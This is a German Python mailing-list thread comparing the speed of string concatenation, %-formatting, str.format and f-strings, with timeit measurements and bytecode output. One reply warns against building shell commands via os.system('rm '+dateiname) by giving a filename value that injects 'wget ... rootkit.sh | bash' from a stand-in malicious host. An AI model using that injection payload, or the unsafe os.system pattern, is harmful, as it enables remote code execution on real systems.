Re: [Python-de] strings zusammensetzen.
Am 29.08.2017 um 17:21 schrieb Walter Dörwald:
Python 3.6.2 (default, Jul 26 2017, 16:42:24) Type 'copyright', 'credits' or 'license' for more information IPython 6.1.0 -- An enhanced Interactive Python. Type '?' for help. In [1] ▶ base, revision, suffix = "foo", "bar", "baz" In [2] ▶ %timeit base + revision + suffix 208 ns ± 0.532 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops each) In [3] ▶ %timeit '%s%s%s' % (base, revision, suffix) 315 ns ± 1.55 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops each) In [4] ▶ %timeit '{}{}{}'.format(base, revision, suffix) 462 ns ± 1.23 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops each) In [5] ▶ %timeit f'{base}{revision}{suffix}' 14.6 ns ± 0.00911 ns per loop (mean ± std. dev. of 7 runs, 100000000 loops each)
Daraus lese ich: a+b+c ist schneller als "%s%s%s"%(a,b,c), "%a%b%c"%(a,b,c) ist schneller als "{}{}{}".format(a,b,c). Das mit 14.6 ns ist Hinweis, das in diesem Fall keine Zwischenwerte der Art (a+b)+c erstellt wurden. Hermann der jetzt wieder eher os.system("rm "+dateiname) statt os.system("rm {}".format(dateiname)) schreiben wird. -- http://www.hermann-riemann.de
Hermann Riemann schrieb am 30.08.2017 um 07:26:
Hermann der jetzt wieder eher os.system("rm "+dateiname) statt os.system("rm {}".format(dateiname)) schreiben wird.
dateiname = "-f; wget -O - http://evil-bash-scripts.org/rootkit.sh | bash" (Geht natürlich viel besser und portabler auch mit Python-Skripten, wäre aber ein bisschen länger als die eine Zeile.) Übrigens, da es gerade um Geschwindigkeit ging - ich wette, mit os.system("rm "+dateiname) kannst du die Datei deutlich schneller löschen als mit os.system("rm {}".format(dateiname)) oder gar mit os.unlink(dateiname) Stefan ;)
On 30 Aug 2017, at 7:26, Hermann Riemann wrote:
Am 29.08.2017 um 17:21 schrieb Walter Dörwald:
Python 3.6.2 (default, Jul 26 2017, 16:42:24) Type 'copyright', 'credits' or 'license' for more information IPython 6.1.0 -- An enhanced Interactive Python. Type '?' for help. In [1] ▶ base, revision, suffix = "foo", "bar", "baz" In [2] ▶ %timeit base + revision + suffix 208 ns ± 0.532 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops each) In [3] ▶ %timeit '%s%s%s' % (base, revision, suffix) 315 ns ± 1.55 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops each) In [4] ▶ %timeit '{}{}{}'.format(base, revision, suffix) 462 ns ± 1.23 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops each) In [5] ▶ %timeit f'{base}{revision}{suffix}' 14.6 ns ± 0.00911 ns per loop (mean ± std. dev. of 7 runs, 100000000 loops each)
Daraus lese ich: a+b+c ist schneller als "%s%s%s"%(a,b,c), "%a%b%c"%(a,b,c) ist schneller als "{}{}{}".format(a,b,c).
Das mit 14.6 ns ist Hinweis, das in diesem Fall keine Zwischenwerte der Art (a+b)+c erstellt wurden.
In [1] ▸ import dis In [2] ▸ base, revision, suffix = "foo", "bar", "baz" In [3] ▸ def f(): ······ ▸ return f'{base}{revision}{suffix}' ······ ▸ In [4] ▸ dis.dis(f) 2 0 LOAD_GLOBAL 0 (base) 2 FORMAT_VALUE 0 4 LOAD_GLOBAL 1 (revision) 6 FORMAT_VALUE 0 8 LOAD_GLOBAL 2 (suffix) 10 FORMAT_VALUE 0 12 BUILD_STRING 3 14 RETURN_VALUE BUILD_STRING ruft _PyUnicode_JoinArray() auf. Und _PyUnicode_JoinArray() berechnet einmal den Speicherverbrauch und kopiert dann alle Teile in den Zielspeicherbereich.
Hermann der jetzt wieder eher os.system("rm "+dateiname) statt os.system("rm {}".format(dateiname)) schreiben wird.
Servus, Walter
Am 30.08.17 um 11:53 schrieb Walter Dörwald:
On 30 Aug 2017, at 7:26, Hermann Riemann wrote:
Am 29.08.2017 um 17:21 schrieb Walter Dörwald:
Python 3.6.2 (default, Jul 26 2017, 16:42:24) Type 'copyright', 'credits' or 'license' for more information IPython 6.1.0 -- An enhanced Interactive Python. Type '?' for help. In [1] ▶ base, revision, suffix = "foo", "bar", "baz" In [2] ▶ %timeit base + revision + suffix 208 ns ± 0.532 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops each) In [3] ▶ %timeit '%s%s%s' % (base, revision, suffix) 315 ns ± 1.55 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops each) In [4] ▶ %timeit '{}{}{}'.format(base, revision, suffix) 462 ns ± 1.23 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops each) In [5] ▶ %timeit f'{base}{revision}{suffix}' 14.6 ns ± 0.00911 ns per loop (mean ± std. dev. of 7 runs, 100000000 loops each)
Die konkrete Umsetzung ist bei Zeitmessungen immer wichtig. Anstatt des Zugriffs auf die globalen Variablen: %timeit '{}{}{}'.format(base, revision, suffix) 421 ns ± 4.23 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops each) die Anfangswerte direkt mit %%time zu setzen: %%timeit base, revision, suffix = "foo", "bar", "baz" '{}{}{}'.format(base, revision, suffix) 367 ns ± 5.77 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops each) bringt hier ähnliche Ergebnisse. Aber für die Variante mit f-String sieht das anders aus: %timeit f'{base}{revision}{suffix}' 14.1 ns ± 0.127 ns per loop (mean ± std. dev. of 7 runs, 100000000 loops each) %%timeit base, revision, suffix = "foo", "bar", "baz" f'{base}{revision}{suffix}' 98.6 ns ± 2.02 ns per loop (mean ± std. dev. of 7 runs, 10000000 loops each) Die letzte Variante scheint mir die realistischere Variante zu sein. In der schnelleren Variante ist wahrscheinlich Caching im Spiel. Schlussfolgerung: f-Strings sind immer noch schneller, aber halt nicht gleich mehr als eine Größenordnung sondern eher um den Faktor 3-4. Mike
Daraus lese ich: a+b+c ist schneller als "%s%s%s"%(a,b,c), "%a%b%c"%(a,b,c) ist schneller als "{}{}{}".format(a,b,c).
Das mit 14.6 ns ist Hinweis, das in diesem Fall keine Zwischenwerte der Art (a+b)+c erstellt wurden.
In [1] ▸ import dis In [2] ▸ base, revision, suffix = "foo", "bar", "baz" In [3] ▸ def f(): ······ ▸ return f'{base}{revision}{suffix}' ······ ▸ In [4] ▸ dis.dis(f) 2 0 LOAD_GLOBAL 0 (base) 2 FORMAT_VALUE 0 4 LOAD_GLOBAL 1 (revision) 6 FORMAT_VALUE 0 8 LOAD_GLOBAL 2 (suffix) 10 FORMAT_VALUE 0 12 BUILD_STRING 3 14 RETURN_VALUE
BUILD_STRING ruft _PyUnicode_JoinArray() auf. Und _PyUnicode_JoinArray() berechnet einmal den Speicherverbrauch und kopiert dann alle Teile in den Zielspeicherbereich.
Hermann der jetzt wieder eher os.system("rm "+dateiname) statt os.system("rm {}".format(dateiname)) schreiben wird.
Servus, Walter _______________________________________________ python-de maillist - python-de@python.org https://mail.python.org/mailman/listinfo/python-de
participants (4)
-
Hermann Riemann
-
Mike Müller
-
Stefan Behnel
-
Walter Dörwald